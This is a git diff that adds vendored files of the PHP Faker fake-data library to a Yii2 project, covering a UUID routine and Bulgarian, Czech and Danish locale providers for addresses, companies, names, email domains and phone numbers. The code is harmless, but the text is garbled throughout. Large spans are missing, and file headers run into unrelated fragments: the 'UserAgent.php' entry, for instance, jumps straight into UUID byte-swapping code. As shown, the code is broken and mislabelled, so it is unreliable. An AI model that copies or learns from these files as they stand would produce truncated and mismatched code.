(!isset($words[$stringIndex])) { + $words[$stringIndex] = array(); + } + $word = $parts[$i]; + $words[$stringIndex][] = $word; + array_shift($index); + $index[] = $word; + } + // cache look up words for performance + $this->consecutiveWords[$indexSize] = $words; + } + + return $this->consecutiveWords[$indexSize]; + } + + protected function getExplodedText() + { + if ($this->explodedText === null) { + $this->explodedText = explode(' ', preg_replace('/\s+/u', ' ', static::$baseText)); + } + + return $this->explodedText; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/UserAgent.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/UserAgent.php new file mode 100644 index 00000000..d8183b77 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/UserAgent.php @@ -0,0 +1,161 @@ +> 8) | (($tLo & 0xff000000) >> 24); + $tMi = (($tMi & 0x00ff) << 8) | (($tMi & 0xff00) >> 8); + $tHi = (($tHi & 0x00ff) << 8) | (($tHi & 0xff00) >> 8); + } + + // apply version number + $tHi &= 0x0fff; + $tHi |= (3 << 12); + + // cast to string + $uuid = sprintf( + '%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x', + $tLo, + $tMi, + $tHi, + $csHi, + $csLo, + $byte[10], + $byte[11], + $byte[12], + $byte[13], + $byte[14], + $byte[15] + ); + + return $uuid; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Internet.php new file mode 100644 index 00000000..04f8fba3 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Internet.php @@ -0,0 +1,32 @@ +generator->parse($format)); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return $company; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Payment.php new file mode 100644 index 00000000..dd41421c --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/Payment.php @@ -0,0 +1,19 @@ +generator->parse(static::randomElement(static::$lastNameFormat)); + } + + public static function lastNameMale() + { + return static::randomElement(static::$lastNameMale); + } + + public static function lastNameFemale() + { + return static::randomElement(static::$lastNameFemale); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/PhoneNumber.php new file mode 100644 index 00000000..e5ec0422 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/bg_BG/PhoneNumber.php @@ -0,0 +1,20 @@ +generator->parse($format)); + } + + /** + * Generates valid czech IČO + * + * @see http://phpfashion.com/jak-overit-platne-ic-a-rodne-cislo + * @return string + */ + public function ico() + { + $ico = static::numerify('#######'); + $split = str_split($ico); + $prod = 0; + foreach (array(8, 7, 6, 5, 4, 3, 2) as $i => $p) { + $prod += $p * $split[$i]; + } + $mod = $prod % 11; + if ($mod === 0 || $mod === 10) { + return "{$ico}1"; + } elseif ($mod === 1) { + return "{$ico}0"; + } + return $ico . (11 - $mod); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/DateTime.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/DateTime.php new file mode 100644 index 00000000..9b52dfc2 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/DateTime.php @@ -0,0 +1,62 @@ +format('w')]; + } + + /** + * @param \DateTime|int|string $max maximum timestamp used as random end limit, default to "now" + * @return string + * @example '2' + */ + public static function dayOfMonth($max = 'now') + { + return static::dateTime($max)->format('j'); + } + + /** + * Full date with inflected month + * @return string + * @example '16. listopadu 2003' + */ + public function formattedDate() + { + $format = static::randomElement(static::$formattedDateFormat); + + return $this->generator->parse($format); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Internet.php new file mode 100644 index 00000000..22b8f126 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Internet.php @@ -0,0 +1,34 @@ +toAscii(parent::email()); + } + + public function userName() + { + return $this->toAscii(parent::userName()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Payment.php new file mode 100644 index 00000000..436324b2 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/Payment.php @@ -0,0 +1,19 @@ +generator->parse(static::randomElement(static::$lastNameFormat)); + } + + public static function lastNameMale() + { + return static::randomElement(static::$lastNameMale); + } + + public static function lastNameFemale() + { + return static::randomElement(static::$lastNameFemale); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/PhoneNumber.php new file mode 100644 index 00000000..90495df9 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/cs_CZ/PhoneNumber.php @@ -0,0 +1,14 @@ + + */ +class Address extends \Faker\Provider\Address +{ + /** + * @var array Danish city suffixes. + */ + protected static $citySuffix = array( + 'sted', 'bjerg', 'borg', 'rød', 'lund', 'by', + ); + + /** + * @var array Danish street suffixes. + */ + protected static $streetSuffix = array( + 'vej', 'gade', 'skov', 'shaven', + ); + + /** + * @var array Danish street word suffixes. + */ + protected static $streetSuffixWord = array( + 'Vej', 'Gade', 'Allé', 'Boulevard', 'Plads', 'Have', + ); + + /** + * @var array Danish building numbers. + */ + protected static $buildingNumber = array( + '%##', '%#', '%#', '%', '%', '%', '%?', '% ?', + ); + + /** + * @var array Danish building level. + */ + protected static $buildingLevel = array( + 'st.', '%.', '%. sal.', + ); + + /** + * @var array Danish building sides. + */ + protected static $buildingSide = array( + 'tv.', 'th.', + ); + + /** + * @var array Danish zip code. + */ + protected static $postcode = array( + '%###' + ); + + /** + * @var array Danish cities. + */ + protected static $cityNames = array( + 'Aabenraa', 'Aabybro', 'Aakirkeby', 'Aalborg', 'Aalestrup', 'Aars', 'Aarup', 'Agedrup', 'Agerbæk', 'Agerskov', + 'Albertslund', 'Allerød', 'Allinge', 'Allingåbro', 'Almind', 'Anholt', 'Ansager', 'Arden', 'Asaa', 'Askeby', + 'Asnæs', 'Asperup', 'Assens', 'Augustenborg', 'Aulum', 'Auning', 'Bagenkop', 'Bagsværd', 'Balle', 'Ballerup', + 'Bandholm', 'Barrit', 'Beder', 'Bedsted', 'Bevtoft', 'Billum', 'Billund', 'Bindslev', 'Birkerød', 'Bjerringbro', + 'Bjert', 'Bjæverskov', 'Blokhus', 'Blommenslyst', 'Blåvand', 'Boeslunde', 'Bogense', 'Bogø', 'Bolderslev', 'Bording', + 'Borre', 'Borup', 'Brøndby', 'Brabrand', 'Bramming', 'Brande', 'Branderup', 'Bredebro', 'Bredsten', 'Brenderup', + 'Broager', 'Broby', 'Brovst', 'Bryrup', 'Brædstrup', 'Strand', 'Brønderslev', 'Brønshøj', 'Brørup', 'Bække', + 'Bækmarksbro', 'Bælum', 'Børkop', 'Bøvlingbjerg', 'Charlottenlund', 'Christiansfeld', 'Dalby', 'Dalmose', + 'Dannemare', 'Daugård', 'Dianalund', 'Dragør', 'Dronninglund', 'Dronningmølle', 'Dybvad', 'Dyssegård', 'Ebberup', + 'Ebeltoft', 'Egernsund', 'Egtved', 'Egå', 'Ejby', 'Ejstrupholm', 'Engesvang', 'Errindlev', 'Erslev', 'Esbjerg', + 'Eskebjerg', 'Eskilstrup', 'Espergærde', 'Faaborg', 'Fanø', 'Farsø', 'Farum', 'Faxe', 'Ladeplads', 'Fejø', + 'Ferritslev', 'Fjenneslev', 'Fjerritslev', 'Flemming', 'Fredensborg', 'Fredericia', 'Frederiksberg', + 'Frederikshavn', 'Frederikssund', 'Frederiksværk', 'Frørup', 'Frøstrup', 'Fuglebjerg', 'Føllenslev', 'Føvling', + 'Fårevejle', 'Fårup', 'Fårvang', 'Gadbjerg', 'Gadstrup', 'Galten', 'Gandrup', 'Gedser', 'Gedsted', 'Gedved', 'Gelsted', + 'Gentofte', 'Gesten', 'Gilleleje', 'Gislev', 'Gislinge', 'Gistrup', 'Give', 'Gjerlev', 'Gjern', 'Glamsbjerg', + 'Glejbjerg', 'Glesborg', 'Glostrup', 'Glumsø', 'Gram', 'Gredstedbro', 'Grenaa', 'Greve', 'Grevinge', 'Grindsted', + 'Græsted', 'Gråsten', 'Gudbjerg', 'Sydfyn', 'Gudhjem', 'Gudme', 'Guldborg', 'Gørding', 'Gørlev', 'Gørløse', + 'Haderslev', 'Haderup', 'Hadsten', 'Hadsund', 'Hals', 'Hammel', 'Hampen', 'Hanstholm', 'Harboøre', 'Harlev', 'Harndrup', + 'Harpelunde', 'Hasle', 'Haslev', 'Hasselager', 'Havdrup', 'Havndal', 'Hedehusene', 'Hedensted', 'Hejls', 'Hejnsvig', + 'Hellebæk', 'Hellerup', 'Helsinge', 'Helsingør', 'Hemmet', 'Henne', 'Herfølge', 'Herlev', 'Herlufmagle', 'Herning', + 'Hesselager', 'Hillerød', 'Hinnerup', 'Hirtshals', 'Hjallerup', 'Hjerm', 'Hjortshøj', 'Hjørring', 'Hobro', 'Holbæk', + 'Holeby', 'Holmegaard', 'Holstebro', 'Holsted', 'Holte', 'Horbelev', 'Hornbæk', 'Hornslet', 'Hornsyld', 'Horsens', + 'Horslunde', 'Hovborg', 'Hovedgård', 'Humble', 'Humlebæk', 'Hundested', 'Hundslund', 'Hurup', 'Hvalsø', 'Hvide', + 'Sande', 'Hvidovre', 'Højbjerg', 'Højby', 'Højer', 'Højslev', 'Høng', 'Hørning', 'Hørsholm', 'Hørve', 'Hårlev', + 'Idestrup', 'Ikast', 'Ishøj', 'Janderup', 'Vestj', 'Jelling', 'Jerslev', 'Sjælland', 'Jerup', 'Jordrup', 'Juelsminde', + 'Jyderup', 'Jyllinge', 'Jystrup', 'Midtsj', 'Jægerspris', 'Kalundborg', 'Kalvehave', 'Karby', 'Karise', 'Karlslunde', + 'Karrebæksminde', 'Karup', 'Kastrup', 'Kerteminde', 'Kettinge', 'Kibæk', 'Kirke', 'Hyllinge', 'Såby', 'Kjellerup', + 'Klampenborg', 'Klarup', 'Klemensker', 'Klippinge', 'Klovborg', 'Knebel', 'Kokkedal', 'Kolding', 'Kolind', 'Kongens', + 'Lyngby', 'Kongerslev', 'Korsør', 'Kruså', 'Kvistgård', 'Kværndrup', 'København', 'Køge', 'Langebæk', 'Langeskov', + 'Langå', 'Lejre', 'Lemming', 'Lemvig', 'Lille', 'Skensved', 'Lintrup', 'Liseleje', 'Lundby', 'Lunderskov', 'Lynge', + 'Lystrup', 'Læsø', 'Løgstrup', 'Løgstør', 'Løgumkloster', 'Løkken', 'Løsning', 'Låsby', 'Malling', 'Mariager', + 'Maribo', 'Marslev', 'Marstal', 'Martofte', 'Melby', 'Mern', 'Mesinge', 'Middelfart', 'Millinge', 'Morud', 'Munke', + 'Bjergby', 'Munkebo', 'Møldrup', 'Mørke', 'Mørkøv', 'Måløv', 'Mårslet', 'Nakskov', 'Nexø', 'Nibe', 'Nimtofte', + 'Nordborg', 'Nyborg', 'Nykøbing', 'Nyrup', 'Nysted', 'Nærum', 'Næstved', 'Nørager', 'Nørre', 'Aaby', 'Alslev', + 'Asmindrup', 'Nebel', 'Snede', 'Nørreballe', 'Nørresundby', 'Odder', 'Odense', 'Oksbøl', 'Otterup', 'Oure', 'Outrup', + 'Padborg', 'Pandrup', 'Præstø', 'Randbøl', 'Randers', 'Ranum', 'Rask', 'Mølle', 'Redsted', 'Regstrup', 'Ribe', 'Ringe', + 'Ringkøbing', 'Ringsted', 'Risskov', 'Roskilde', 'Roslev', 'Rude', 'Rudkøbing', 'Ruds', 'Vedby', 'Rungsted', 'Kyst', + 'Rynkeby', 'Ryomgård', 'Ryslinge', 'Rødby', 'Rødding', 'Rødekro', 'Rødkærsbro', 'Rødovre', 'Rødvig', 'Stevns', + 'Rønde', 'Rønne', 'Rønnede', 'Rørvig', 'Sabro', 'Sakskøbing', 'Saltum', 'Samsø', 'Sandved', 'Sejerø', 'Silkeborg', + 'Sindal', 'Sjællands', 'Odde', 'Sjølund', 'Skagen', 'Skals', 'Skamby', 'Skanderborg', 'Skibby', 'Skive', 'Skjern', + 'Skodsborg', 'Skovlunde', 'Skælskør', 'Skærbæk', 'Skævinge', 'Skødstrup', 'Skørping', 'Skårup', 'Slagelse', + 'Slangerup', 'Smørum', 'Snedsted', 'Snekkersten', 'Snertinge', 'Solbjerg', 'Solrød', 'Sommersted', 'Sorring', 'Sorø', + 'Spentrup', 'Spjald', 'Sporup', 'Spøttrup', 'Stakroge', 'Stege', 'Stenderup', 'Stenlille', 'Stenløse', 'Stenstrup', + 'Stensved', 'Stoholm', 'Jyll', 'Stokkemarke', 'Store', 'Fuglede', 'Heddinge', 'Merløse', 'Storvorde', 'Stouby', + 'Strandby', 'Struer', 'Strøby', 'Stubbekøbing', 'Støvring', 'Suldrup', 'Sulsted', 'Sunds', 'Svaneke', 'Svebølle', + 'Svendborg', 'Svenstrup', 'Svinninge', 'Sydals', 'Sæby', 'Søborg', 'Søby', 'Ærø', 'Søllested', 'Sønder', 'Felding', + 'Sønderborg', 'Søndersø', 'Sørvad', 'Taastrup', 'Tappernøje', 'Tarm', 'Terndrup', 'Them', 'Thisted', 'Thorsø', + 'Thyborøn', 'Thyholm', 'Tikøb', 'Tilst', 'Tinglev', 'Tistrup', 'Tisvildeleje', 'Tjele', 'Tjæreborg', 'Toftlund', + 'Tommerup', 'Toreby', 'Torrig', 'Tranbjerg', 'Tranekær', 'Trige', 'Trustrup', 'Tune', 'Tureby', 'Tylstrup', 'Tølløse', + 'Tønder', 'Tørring', 'Tårs', 'Ugerløse', 'Uldum', 'Ulfborg', 'Ullerslev', 'Ulstrup', 'Vadum', 'Valby', 'Vallensbæk', + 'Vamdrup', 'Vandel', 'Vanløse', 'Varde', 'Vedbæk', 'Veflinge', 'Vejby', 'Vejen', 'Vejers', 'Vejle', 'Vejstrup', + 'Veksø', 'Vemb', 'Vemmelev', 'Vesløs', 'Vestbjerg', 'Vester', 'Skerninge', 'Vesterborg', 'Vestervig', 'Viborg', 'Viby', + 'Videbæk', 'Vildbjerg', 'Vils', 'Vinderup', 'Vipperød', 'Virum', 'Vissenbjerg', 'Viuf', 'Vodskov', 'Vojens', 'Vonge', + 'Vorbasse', 'Vordingborg', 'Væggerløse', 'Værløse', 'Ærøskøbing', 'Ølgod', 'Ølsted', 'Ølstykke', 'Ørbæk', + 'Ørnhøj', 'Ørsted', 'Djurs', 'Østbirk', 'Øster', 'Assels', 'Ulslev', 'Østermarie', 'Østervrå', 'Åbyhøj', + 'Ålbæk', 'Ålsgårde', 'Århus', 'Årre', 'Årslev', 'Haarby', 'Nivå', 'Rømø', 'Omme', 'Vrå', 'Ørum', + ); + + /** + * @var array Danish municipalities, called 'kommuner' in danish. + */ + protected static $kommuneNames = array( + 'København', 'Frederiksberg', 'Ballerup', 'Brøndby', 'Dragør', 'Gentofte', 'Gladsaxe', 'Glostrup', 'Herlev', + 'Albertslund', 'Hvidovre', 'Høje Taastrup', 'Lyngby-Taarbæk', 'Rødovre', 'Ishøj', 'Tårnby', 'Vallensbæk', + 'Allerød', 'Fredensborg', 'Helsingør', 'Hillerød', 'Hørsholm', 'Rudersdal', 'Egedal', 'Frederikssund', 'Greve', + 'Halsnæs', 'Roskilde', 'Solrød', 'Gribskov', 'Odsherred', 'Holbæk', 'Faxe', 'Kalundborg', 'Ringsted', 'Slagelse', + 'Stevns', 'Sorø', 'Lejre', 'Lolland', 'Næstved', 'Guldborgsund', 'Vordingborg', 'Bornholm', 'Middelfart', + 'Christiansø', 'Assens', 'Faaborg-Midtfyn', 'Kerteminde', 'Nyborg', 'Odense', 'Svendborg', 'Nordfyns', 'Langeland', + 'Ærø', 'Haderslev', 'Billund', 'Sønderborg', 'Tønder', 'Esbjerg', 'Fanø', 'Varde', 'Vejen', 'Aabenraa', + 'Fredericia', 'Horsens', 'Kolding', 'Vejle', 'Herning', 'Holstebro', 'Lemvig', 'Struer', 'Syddjurs', 'Furesø', + 'Norddjurs', 'Favrskov', 'Odder', 'Randers', 'Silkeborg', 'Samsø', 'Skanderborg', 'Aarhus', 'Ikast-Brande', + 'Ringkøbing-Skjern', 'Hedensted', 'Morsø', 'Skive', 'Thisted', 'Viborg', 'Brønderslev', 'Frederikshavn', + 'Vesthimmerlands', 'Læsø', 'Rebild', 'Mariagerfjord', 'Jammerbugt', 'Aalborg', 'Hjørring', 'Køge', + ); + + /** + * @var array Danish regions. + */ + protected static $regionNames = array( + 'Region Nordjylland', 'Region Midtjylland', 'Region Syddanmark', 'Region Hovedstaden', 'Region Sjælland', + ); + + /** + * @link https://github.com/umpirsky/country-list/blob/master/country/cldr/da_DK/country.php + * + * @var array Some countries in danish. + */ + protected static $country = array( + 'Andorra', 'Forenede Arabiske Emirater', 'Afghanistan', 'Antigua og Barbuda', 'Anguilla', 'Albanien', 'Armenien', + 'Hollandske Antiller', 'Angola', 'Antarktis', 'Argentina', 'Amerikansk Samoa', 'Østrig', 'Australien', 'Aruba', + 'Åland', 'Aserbajdsjan', 'Bosnien-Hercegovina', 'Barbados', 'Bangladesh', 'Belgien', 'Burkina Faso', 'Bulgarien', + 'Bahrain', 'Burundi', 'Benin', 'Saint Barthélemy', 'Bermuda', 'Brunei Darussalam', 'Bolivia', 'Brasilien', 'Bahamas', + 'Bhutan', 'Bouvetø', 'Botswana', 'Hviderusland', 'Belize', 'Canada', 'Cocosøerne', 'Congo-Kinshasa', + 'Centralafrikanske Republik', 'Congo', 'Schweiz', 'Elfenbenskysten', 'Cook-øerne', 'Chile', 'Cameroun', 'Kina', + 'Colombia', 'Costa Rica', 'Serbien og Montenegro', 'Cuba', 'Kap Verde', 'Juleøen', 'Cypern', 'Tjekkiet', 'Tyskland', + 'Djibouti', 'Danmark', 'Dominica', 'Den Dominikanske Republik', 'Algeriet', 'Ecuador', 'Estland', 'Egypten', + 'Vestsahara', 'Eritrea', 'Spanien', 'Etiopien', 'Finland', 'Fiji-øerne', 'Falklandsøerne', + 'Mikronesiens Forenede Stater', 'Færøerne', 'Frankrig', 'Gabon', 'Storbritannien', 'Grenada', 'Georgien', + 'Fransk Guyana', 'Guernsey', 'Ghana', 'Gibraltar', 'Grønland', 'Gambia', 'Guinea', 'Guadeloupe', 'Ækvatorialguinea', + 'Grækenland', 'South Georgia og De Sydlige Sandwichøer', 'Guatemala', 'Guam', 'Guinea-Bissau', 'Guyana', + 'SAR Hongkong', 'Heard- og McDonald-øerne', 'Honduras', 'Kroatien', 'Haiti', 'Ungarn', 'Indonesien', 'Irland', + 'Israel', 'Isle of Man', 'Indien', 'Det Britiske Territorium i Det Indiske Ocean', 'Irak', 'Iran', 'Island', + 'Italien', 'Jersey', 'Jamaica', 'Jordan', 'Japan', 'Kenya', 'Kirgisistan', 'Cambodja', 'Kiribati', 'Comorerne', + 'Saint Kitts og Nevis', 'Nordkorea', 'Sydkorea', 'Kuwait', 'Caymanøerne', 'Kasakhstan', 'Laos', 'Libanon', + 'Saint Lucia', 'Liechtenstein', 'Sri Lanka', 'Liberia', 'Lesotho', 'Litauen', 'Luxembourg', 'Letland', 'Libyen', + 'Marokko', 'Monaco', 'Republikken Moldova', 'Montenegro', 'Saint Martin', 'Madagaskar', 'Marshalløerne', + 'Republikken Makedonien', 'Mali', 'Myanmar', 'Mongoliet', 'SAR Macao', 'Nordmarianerne', 'Martinique', + 'Mauretanien', 'Montserrat', 'Malta', 'Mauritius', 'Maldiverne', 'Malawi', 'Mexico', 'Malaysia', 'Mozambique', + 'Namibia', 'Ny Caledonien', 'Niger', 'Norfolk Island', 'Nigeria', 'Nicaragua', 'Holland', 'Norge', 'Nepal', 'Nauru', + 'Niue', 'New Zealand', 'Oman', 'Panama', 'Peru', 'Fransk Polynesien', 'Papua Ny Guinea', 'Filippinerne', 'Pakistan', + 'Polen', 'Saint Pierre og Miquelon', 'Pitcairn', 'Puerto Rico', 'De palæstinensiske områder', 'Portugal', 'Palau', + 'Paraguay', 'Qatar', 'Reunion', 'Rumænien', 'Serbien', 'Rusland', 'Rwanda', 'Saudi-Arabien', 'Salomonøerne', + 'Seychellerne', 'Sudan', 'Sverige', 'Singapore', 'St. Helena', 'Slovenien', 'Svalbard og Jan Mayen', 'Slovakiet', + 'Sierra Leone', 'San Marino', 'Senegal', 'Somalia', 'Surinam', 'Sao Tome og Principe', 'El Salvador', 'Syrien', + 'Swaziland', 'Turks- og Caicosøerne', 'Tchad', 'Franske Besiddelser i Det Sydlige Indiske Ocean', 'Togo', + 'Thailand', 'Tadsjikistan', 'Tokelau', 'Timor-Leste', 'Turkmenistan', 'Tunesien', 'Tonga', 'Tyrkiet', + 'Trinidad og Tobago', 'Tuvalu', 'Taiwan', 'Tanzania', 'Ukraine', 'Uganda', 'De Mindre Amerikanske Oversøiske Øer', + 'USA', 'Uruguay', 'Usbekistan', 'Vatikanstaten', 'St. Vincent og Grenadinerne', 'Venezuela', + 'De britiske jomfruøer', 'De amerikanske jomfruøer', 'Vietnam', 'Vanuatu', 'Wallis og Futunaøerne', 'Samoa', + 'Yemen', 'Mayotte', 'Sydafrika', 'Zambia', 'Zimbabwe', + ); + + /** + * @var array Danish city format. + */ + protected static $cityFormats = array( + '{{cityName}}', + ); + + /** + * @var array Danish street's name formats. + */ + protected static $streetNameFormats = array( + '{{lastName}}{{streetSuffix}}', + '{{middleName}}{{streetSuffix}}', + '{{lastName}} {{streetSuffixWord}}', + '{{middleName}} {{streetSuffixWord}}', + ); + + /** + * @var array Danish street's address formats. + */ + protected static $streetAddressFormats = array( + '{{streetName}} {{buildingNumber}}', + '{{streetName}} {{buildingNumber}}, {{buildingLevel}}', + '{{streetName}} {{buildingNumber}}, {{buildingLevel}} {{buildingSide}}', + ); + + /** + * @var array Danish address format. + */ + protected static $addressFormats = array( + "{{streetAddress}}\n{{postcode}} {{city}}", + ); + + /** + * Randomly return a real city name. + * + * @return string + */ + public static function cityName() + { + return static::randomElement(static::$cityNames); + } + + /** + * Randomly return a suffix word. + * + * @return string + */ + public static function streetSuffixWord() + { + return static::randomElement(static::$streetSuffixWord); + } + + /** + * Randomly return a building number. + * + * @return string + */ + public static function buildingNumber() + { + return static::toUpper(static::bothify(static::randomElement(static::$buildingNumber))); + } + + /** + * Randomly return a building level. + * + * @return string + */ + public static function buildingLevel() + { + return static::numerify(static::randomElement(static::$buildingLevel)); + } + + /** + * Randomly return a side of the building. + * + * @return string + */ + public static function buildingSide() + { + return static::randomElement(static::$buildingSide); + } + + /** + * Randomly return a real municipality name, called 'kommune' in danish. + * + * @return string + */ + public static function kommune() + { + return static::randomElement(static::$kommuneNames); + } + + /** + * Randomly return a real region name. + * + * @return string + */ + public static function region() + { + return static::randomElement(static::$regionNames); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Company.php new file mode 100644 index 00000000..b9f289cc --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Company.php @@ -0,0 +1,70 @@ + + */ +class Company extends \Faker\Provider\Company +{ + /** + * @var array Danish company name formats. + */ + protected static $formats = array( + '{{lastName}} {{companySuffix}}', + '{{lastName}} {{companySuffix}}', + '{{lastName}} {{companySuffix}}', + '{{firstname}} {{lastName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{middleName}} {{companySuffix}}', + '{{firstname}} {{middleName}} {{companySuffix}}', + '{{lastName}} & {{lastName}} {{companySuffix}}', + '{{lastName}} og {{lastName}} {{companySuffix}}', + '{{lastName}} & {{lastName}} {{companySuffix}}', + '{{lastName}} og {{lastName}} {{companySuffix}}', + '{{middleName}} & {{middleName}} {{companySuffix}}', + '{{middleName}} og {{middleName}} {{companySuffix}}', + '{{middleName}} & {{lastName}}', + '{{middleName}} og {{lastName}}', + ); + + /** + * @var array Company suffixes. + */ + protected static $companySuffix = array('ApS', 'A/S', 'I/S', 'K/S'); + + /** + * @link http://cvr.dk/Site/Forms/CMS/DisplayPage.aspx?pageid=60 + * + * @var string CVR number format. + */ + protected static $cvrFormat = '%#######'; + + /** + * @link http://cvr.dk/Site/Forms/CMS/DisplayPage.aspx?pageid=60 + * + * @var string P number (production number) format. + */ + protected static $pFormat = '%#########'; + + /** + * Generates a CVR number (8 digits). + * + * @return string + */ + public static function cvr() + { + return static::numerify(static::$cvrFormat); + } + + /** + * Generates a P entity number (10 digits). + * + * @return string + */ + public static function p() + { + return static::numerify(static::$pFormat); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Internet.php new file mode 100644 index 00000000..2d1e9307 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Internet.php @@ -0,0 +1,68 @@ + + */ +class Internet extends \Faker\Provider\Internet +{ + /** + * @var array Some safe email TLD. + */ + protected static $safeEmailTld = array( + 'org', 'com', 'net', 'dk', 'dk', 'dk', + ); + + /** + * @var array Some email domains in Denmark. + */ + protected static $freeEmailDomain = array( + 'gmail.com', 'yahoo.com', 'yahoo.dk', 'hotmail.com', 'hotmail.dk', 'mail.dk', 'live.dk' + ); + + /** + * @var array Some TLD. + */ + protected static $tld = array( + 'com', 'com', 'com', 'biz', 'info', 'net', 'org', 'dk', 'dk', 'dk', + ); + + /** + * Converts Danish characters to their ASCII representation + * + * @return string + */ + private static function toAscii($string) + { + $from = array('æ', 'ø', 'å', 'Æ', 'Ø', 'Å'); + $to = array('ae', 'oe', 'aa', 'AE', 'OE', 'AA'); + + return str_replace($from, $to, $string); + } + + /** + * @example 'jeppe' + * @return string + */ + public function userName() + { + $format = static::randomElement(static::$userNameFormats); + + return static::toLower(static::toAscii(static::bothify($this->generator->parse($format)))); + } + + /** + * @example 'jensen.dk' + * @return string + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Payment.php new file mode 100644 index 00000000..6a5b6a84 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/Payment.php @@ -0,0 +1,19 @@ + + */ +class Person extends \Faker\Provider\Person +{ + /** + * @var array Danish person name formats. + */ + protected static $maleNameFormats = array( + '{{firstNameMale}} {{lastName}}', + '{{firstNameMale}} {{lastName}}', + '{{firstNameMale}} {{lastName}}', + '{{firstNameMale}} {{middleName}} {{lastName}}', + '{{firstNameMale}} {{middleName}} {{lastName}}', + '{{firstNameMale}} {{middleName}}-{{middleName}} {{lastName}}', + '{{firstNameMale}} {{middleName}} {{middleName}}-{{lastName}}', + ); + + protected static $femaleNameFormats = array( + '{{firstNameFemale}} {{lastName}}', + '{{firstNameFemale}} {{lastName}}', + '{{firstNameFemale}} {{lastName}}', + '{{firstNameFemale}} {{middleName}} {{lastName}}', + '{{firstNameFemale}} {{middleName}} {{lastName}}', + '{{firstNameFemale}} {{middleName}}-{{middleName}} {{lastName}}', + '{{firstNameFemale}} {{middleName}} {{middleName}}-{{lastName}}', + ); + + /** + * @var array Danish first names. + */ + protected static $firstNameMale = array( + 'Aage', 'Adam', 'Adolf', 'Ahmad', 'Ahmed', 'Aksel', 'Albert', 'Alex', 'Alexander', 'Alf', 'Alfred', 'Ali', 'Allan', + 'Anders', 'Andreas', 'Anker', 'Anton', 'Arne', 'Arnold', 'Arthur', 'Asbjørn', 'Asger', 'August', 'Axel', 'Benjamin', + 'Benny', 'Bent', 'Bernhard', 'Birger', 'Bjarne', 'Bjørn', 'Bo', 'Brian', 'Bruno', 'Børge', 'Carl', 'Carlo', + 'Carsten', 'Casper', 'Charles', 'Chris', 'Christian', 'Christoffer', 'Christopher', 'Claus', 'Dan', 'Daniel', 'David', 'Dennis', + 'Ebbe', 'Edmund', 'Edvard', 'Egon', 'Einar', 'Ejvind', 'Elias', 'Emanuel', 'Emil', 'Erik', 'Erland', 'Erling', + 'Ernst', 'Esben', 'Ferdinand', 'Finn', 'Flemming', 'Frank', 'Freddy', 'Frederik', 'Frits', 'Fritz', 'Frode', 'Georg', + 'Gerhard', 'Gert', 'Gunnar', 'Gustav', 'Hans', 'Harald', 'Harry', 'Hassan', 'Heine', 'Heinrich', 'Helge', 'Helmer', + 'Helmuth', 'Henning', 'Henrik', 'Henry', 'Herman', 'Hermann', 'Holger', 'Hugo', 'Ib', 'Ibrahim', 'Ivan', 'Jack', + 'Jacob', 'Jakob', 'Jan', 'Janne', 'Jens', 'Jeppe', 'Jesper', 'Jimmi', 'Jimmy', 'Joachim', 'Johan', 